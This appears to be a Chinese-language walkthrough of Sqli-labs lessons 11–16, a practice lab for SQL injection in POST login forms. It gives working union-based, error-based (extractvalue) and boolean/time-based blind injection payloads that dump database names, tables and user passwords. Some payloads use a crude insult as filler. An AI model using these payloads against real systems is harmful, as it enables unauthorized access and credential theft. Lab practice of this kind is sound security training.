Sqli-labs 11-16
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
使用BP抓包:
加单引号
说明存在报错注入
接下来,爆出数据库
爆出表名:
union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆出字段名
union select database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
爆出用户和密码:
union select (select group_concat(username) from users),(select group_concat(password) from users)--+
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
BP抓包
测试引号:
直接输入双引号显示错误,再添加单括号
说明为双引号单括号型注入
接下来,爆出数据库:
uname=asshole") union select version(),database()--+&passwd=admin&submit=Submit
爆出表名
asshole") union select database(),group_concat(table_name)from information_schema.tables where table_schema=database()--+
爆出字段名:
asshole") union select database(),group_concat(column_name)from information_schema.columns where table_name='users'--+
爆出用户名密码:
asshole") union select (select group_concat(username) from users),(select group_concat(password)from users)--+
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
BP抓包
发现该注入为盲注:
爆出数据库:
uname=ass') and extractvalue(1,concat('~',(select database()),'~')) # &passwd=admin&submit=Submit
爆出表名:
=ass') and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema =database()))) #
爆出字段名
uname=ass') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name ='users'),'~')) # &passwd=admin&submit=Submit
爆出用户名密码:
uname=ass') and extractvalue(1,concat('~',(select group_concat(username,'//',password) from users),'~')) # &passwd=admin&submit=Submit
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
同样也是盲注
只需要将单引号替换为双引号即可
爆出数据库:
爆出表名:
爆出字段名
爆出用户名密码
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
测试时间盲注:
发现有明显的延迟,使用时间盲注
数据库长度:
逐个测试数据库名
security
同理逐个测试表名
得到需要的users表
测试字段:
User,password等
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
Admin’ or 1=1 #错误
admin") or 1=1 #正确
基于布尔值或是基于时间注入
与15很相似,只需将’变为”)即可:
猜测数据库长度:
uname=ass") or (length(database())) = 8 #&passwd=") or 1=1 #&submit=Submit
逐一猜测数据库:得到security
猜测表名:
同理猜测用户名密码
总结
- 判断注入点
- 判断注入的类型
- 选择注入方式